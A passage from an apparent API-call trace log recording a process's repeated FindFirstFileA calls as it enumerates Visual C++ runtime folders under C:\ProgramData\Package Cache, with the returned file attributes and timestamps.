lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.572] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.574] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.575] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.575] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.576] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.578] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.578] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.579] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.582] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.585] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.589] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.589] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.592] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.596] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.596] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.597] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.600] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.601] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.601] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.604] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.605] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.605] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.609] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.609] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.609] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.612] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.612] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.612] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.615] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.616] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.617] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.621] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.621] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.622] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.626] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.630] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.632] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.633] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.636] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.636] FindFirstFileA (in: 